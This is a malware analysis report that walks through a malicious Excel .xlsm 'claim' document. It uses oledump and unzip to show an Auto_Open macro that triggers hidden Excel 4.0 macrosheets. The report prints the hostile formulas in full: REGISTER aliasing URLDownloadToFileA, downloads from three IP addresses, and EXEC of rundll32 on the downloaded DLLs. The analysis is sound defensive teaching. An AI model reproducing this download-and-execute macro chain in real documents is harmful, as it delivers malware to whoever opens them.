← Reports

Malicious Macros in Office Documents

Claim_732989680_03292021.xlsm

Author
Moise Medici
Updated
25 Oct 2025 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Dropping Secondary Payloads
Tags
vbscriptxml

Code Analysis

A common starting point for analyzing an Office document is to examine the structure of the file. The command oledump.py -i shows each file “stream” (section). The tool shows an M next to the stream that has a macro embedded in it. In this case, the stream A3 contains a macro, and the section has a size of 1041 bytes. The size is not particularly relevant in this case, as there is only one macro, but it is useful when examining different streams: if one of them is particularly large, it might embed some obfuscated content.

Terminal window
$ oledump.py -i claim.xlsm
A: xl/vbaProject.bin
A1: 529 'PROJECT'
A2: 71 'PROJECTwm'
A3: M 1041 919+122 'VBA/Module1'
A4: 2596 'VBA/_VBA_PROJECT'
A5: 549 'VBA/dir'
A6: m 990 'VBA/Лист1'
A7: m 1201 'VBA/ЭтаКнига'

The macro can be dumped with oledump -s <stream> -v. The full content of the macro is below, and everything that it does is execute the content of the Lof sheet in cell CD5 as soon as the file is opened. Note that specifying -s 3 or -s A3 is the same.

Terminal window
$ oledump.py -s 3 claim.xlsm -v
Attribute VB_Name = "Module1"
Private Sub Auto_Open()
Application.Run Sheets("Lof").Range("CD5")
End Sub

Since .xlsm files are archives, they can be extracted with unzip:

Terminal window
$ unzip Claim_732989680_03292021.xlsm
Archive: Claim_732989680_03292021.xlsm
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/macrosheets/sheet1.xml
inflating: xl/macrosheets/sheet2.xml
inflating: xl/macrosheets/sheet3.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: xl/drawings/drawing1.xml
extracting: xl/media/image1.gif
inflating: xl/vbaProject.bin
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/macrosheets/_rels/sheet2.xml.rels
inflating: xl/macrosheets/_rels/sheet3.xml.rels
inflating: xl/drawings/_rels/drawing1.xml.rels
inflating: xl/printerSettings/printerSettings1.bin
inflating: xl/printerSettings/printerSettings2.bin
inflating: docProps/core.xml
inflating: docProps/app.xml

From the unzipped files, there is no file named Lov. The relationship between the filename and the sheet needs to be found. There are two major file types that have been unzipped: the name.xml files and the relationships those files contain in name.xml.rels. Since the workbook is the container of all the sheets, the relationship between the internal ID and the file name is stored in the file containing the relationships for workbook.xml: xl/_rels/workbook.xml.rels

xl/_rels/workbook.xml.rels
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId8" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/>
<Relationship Id="rId3" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet2.xml"/>
<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
<Relationship Id="rId2" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet1.xml"/>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
<Relationship Id="rId4" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet3.xml"/>
</Relationships>

From xl/workbook.xml, the rId to sheet name relationship is:

xl/workbook.xml
<sheets>
<sheet name="Sheet" sheetId="9" r:id="rId1"/>
<sheet name="Lof" sheetId="2" state="hidden" r:id="rId2"/>
<sheet name="Lov" sheetId="6" state="hidden" r:id="rId3"/>
<sheet name="Lov2" sheetId="7" state="hidden" r:id="rId4"/>
</sheets>

So:

  • rId1 -> worksheets/sheet1.xml -> “Sheet”
  • rId2 -> macrosheets/sheet1.xml -> “Lof”
  • rId3 -> macrosheets/sheet2.xml -> “Lov”
  • rId4 -> macrosheets/sheet3.xml -> “Lov2”

Before examining each file, it can be useful to look into the xl/sharedString.xml file to understand some of the next files, since it contains all the strings that are shared across every file. The content of the file is:

xl/sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="8" uniqueCount="8">
<si>
<t>uRlMon</t>
</si>
<si>
<t>JJCCBB</t>
</si>
<si>
<t>Belandes</t>
</si>
<si>
<t>.dat</t>
</si>
<si>
<t>JJCCJJ</t>
</si>
<si>
<t>http://45.150.67.234/</t>
</si>
<si>
<t>http://45.150.67.232/</t>
</si>
<si>
<t>http://195.123.210.162/</t>
</si>
</sst>

To understand how the file is used, it helps to first understand what it contains. Imagine it as a list of elements, each with an index and value like in the table below:

IndexValue
0uRlMon
1JJCCBB
2Belandes
3.dat
4JJCCJJ
5http://45.150.67.234/
6http://45.150.67.232/
7http://195.123.210.162/

When a sheet has a cell containing a value of type s, that is a shared string. The Office application will look up the index and replace it with the value in the table above. For example, this is cell CE270, which has style 1 (s="1", which is defined in xl/styles.xlm) and the type is a shared string (t="s"). The index is 0 as defined in <v>0</v>.

xl/macrosheets/sheet1.xml
<c r="CE270" s="1" t="s">
<v>0</v>
</c>

So starting from Lof, as shown by the Auto_Open macro, the content of the file is:

xl/macrosheets/sheet1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6"
xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"
xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision"
xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"
xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3"
xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}">
<dimension ref="CA266:CF283"/>
<sheetViews>
<sheetView showFormulas="1" workbookViewId="0"/>
</sheetViews>
<sheetFormatPr defaultColWidth="7.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/>
<cols>
<col min="1" max="77" width="7.6640625" style="1"/>
<col min="78" max="78" width="7.6640625" style="1" customWidth="1"/>
<col min="79" max="84" width="7.6640625" style="1" hidden="1" customWidth="1"/>
<col min="85" max="16384" width="7.6640625" style="1"/>
</cols>
<sheetData>
<row r="266" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD266" s="1">
<f>NOW()</f>
<v>44283.920335069444</v>
</c>
</row>
<row r="267" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD267" s="1" t="b">
<f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
<v>0</v>
</c>
</row>
<row r="268" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC268" s="1" t="str">
<f>CONCATENATE(CC274,CD266,CC273)</f>
<v>http://45.150.67.234/44283,9203350694.dat</v>
</c>
</row>
<row r="269" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC269" s="1" t="str">
<f>CONCATENATE(CC275,CD266,CC273)</f>
<v>http://45.150.67.232/44283,9203350694.dat</v>
</c>
<c r="CD269" s="1" t="b">
<f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
<v>0</v>
</c>
<c r="CE269" s="1" t="s">
<v>4</v>
</c>
</row>
<row r="270" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC270" s="1" t="str">
<f>CONCATENATE(CC276,CD266,CC273)</f>
<v>http://195.123.210.162/44283,9203350694.dat</v>
</c>
<c r="CD270" s="1" t="b">
<f>REGISTER(CE270,CE271,CE272,CE273,,1,9)</f>
<v>0</v>
</c>
<c r="CE270" s="1" t="s">
<v>0</v>
</c>
</row>
<row r="271" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD271" s="1" t="e">
<f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
<v>#NAME?</v>
</c>
</row>
<row r="272" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD272" s="1" t="e">
<f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
<v>#NAME?</v>
</c>
<c r="CE272" s="1" t="s">
<v>1</v>
</c>
</row>
<row r="273" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC273" s="1" t="s">
<v>3</v>
</c>
<c r="CD273" s="1" t="e">
<f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>
<v>#NAME?</v>
</c>
<c r="CE273" s="1" t="s">
<v>2</v>
</c>
</row>
<row r="274" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC274" s="1" t="s">
<v>5</v>
</c>
</row>
<row r="275" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC275" s="1" t="s">
<v>6</v>
</c>
</row>
<row r="276" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC276" s="1" t="s">
<v>7</v>
</c>
</row>
<row r="280" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD280" s="1" t="b">
<f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>
<v>0</v>
</c>
</row>
<row r="283" spans="81:83" x14ac:dyDescent="0.3">
<c r="CD283" s="1" t="e">
<f>GOTO(Lov!E4)</f>
<v>#N/A</v>
</c>
</row>
</sheetData>
<pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
</xm:macrosheet>

At the top, there is a reference to URLDownloadToFileA, which is assigned to cell CE271. This means that every time CE271 appears in the file, it can be mentally replaced with URLDownloadToFileA.

xl/macrosheets/sheet1.xml
<c r="CD267" s="1" t="b">
<f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
<v>0</v>
</c>

FORMULA.FILL is an Excel 4.0 Macro function. We have not been able to locate any official Microsoft documentation for this function and have therefore relied on the third-party reference provided in 1.

The CONCATENATE function observed in the file, as in the example below:

xl/macrosheets/sheet1.xml
<row r="268" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC268" s="1" t="str">
<f>CONCATENATE(CC274,CD266,CC273)</f>
<v>http://45.150.67.234/44283,9203350694.dat</v>
</c>
</row>

concatenates the values of three cells: CC274, CD266 and CC273:

xl/macrosheets/sheet1.xml
<row r="274" spans="81:83" x14ac:dyDescent="0.3">
<c r="CC274" s="1" t="s">
<v>5</v>
</c>
</row>
<c r="CD266" s="1">
<f>NOW()</f>
<v>44283.920335069444</v>
</c>
<c r="CC273" s="1" t="s">
<v>3</v>
</c>

to create the following URL values:

  • http://45.150.67.234/44283,9203350694.dat in cell CC268
  • http://45.150.67.232/44283,9203350694.dat in cell CC269
  • http://195.123.210.162/44283,9203350694.dat in cell CC270

Tracking each URL one at a time, CC268 is called in:

xl/macrosheets/sheet1.xml
<c r="CD271" s="1" t="e">
<f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
<v>#NAME?</v>
</c>

There’s a custom function called Belandes, and its purpose is currently unknown. It’s defined in the shared strings at index 2 (zero-based).

The file can be searched with grep to see if the string has been defined anywhere:

Terminal window
grep "<v>2</v>" xl/macrosheets/sheet1.xml

This appears in cell CE273:

xl/macrosheets/sheet1.xml
<c r="CE273" s="1" t="s">
<v>2</v>
</c>

The CE273 cell is then used in the REGISTER call:

xl/macrosheets/sheet1.xml
<c r="CD269" s="1" t="b">
<f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
<v>0</v>
</c>

From the same source as FORMULA.FILL, the REGISTER signature was identified 2. The signature is defined as:

REGISTER(
module_text,
procedure,
type_text,
function_text,
argument_text,
macro_type,
category,
...
)

With the values contained in each cell:

REGISTER(
module_text = "URLMon",
procedure = "URLDownloadToFileA",
type_text = "JJCCJJ",
function_text = "Belandes",
argument_text = <empty>,
macro_type = 1 (meaning that it is a function),
category = 9,
...
)

This means that Belandes is a function defined to “rename” the URLDownloadToFileA Windows API. Looking at the API specification 3, the arguments are:

HRESULT URLDownloadToFile(
           LPUNKNOWN            pCaller,
           LPCTSTR              szURL,
           LPCTSTR              szFileName,
_Reserved_ DWORD                dwReserved,
           LPBINDSTATUSCALLBACK lpfnCB
);

Specifically, szURL is a pointer to a string value containing the name or full path of the file to create for the download. Looking at when the custom function is called:

xl/macrosheets/sheet1.xml
<f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
<f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
<f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>

This shows that the file downloaded from each URL is saved locally:

  • http://45.150.67.234/44283,9203350694.dat is saved as ..\Hodas.vyur
  • http://45.150.67.232/44283,9203350694.dat is saved as ..\Hodas.vyur1
  • http://195.123.210.162/44283,9203350694.dat is saved as ..\Hodas.vyur2

The first file is then executed with rundll32:

<f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>

Execution then proceeds to Lov.

The Lov sheet contains a straightforward execution of the second DLL:

xl/macrosheets/sheet2.xml
<sheetData>
<row r="6" spans="5:5" x14ac:dyDescent="0.3">
<c r="E6" s="1" t="b">
<f>EXEC("rundll32 "&amp;"..\Hodas.vyur1"&amp;",DllRegisterServer")</f>
<v>0</v>
</c>
</row>
<row r="8" spans="5:5" x14ac:dyDescent="0.3">
<c r="E8" s="1" t="e">
<f>GOTO('Lov2'!D4)</f>
<v>#N/A</v>
</c>
</row>
</sheetData>

The GOTO then transfers execution to Lov2, which only executes the third DLL:

xl/macrosheets/sheet3.xml
<sheetData>
<row r="6" spans="4:4" x14ac:dyDescent="0.3">
<c r="D6" s="1" t="b">
<f>EXEC("rundll32 "&amp;"..\Hodas.vyur2"&amp;",DllRegisterServer")</f>
<v>0</v>
</c>
</row>
<row r="11" spans="4:4" x14ac:dyDescent="0.3">
<c r="D11" s="1" t="b">
<f>HALT()</f>
<v>0</v>
</c>
</row>
</sheetData>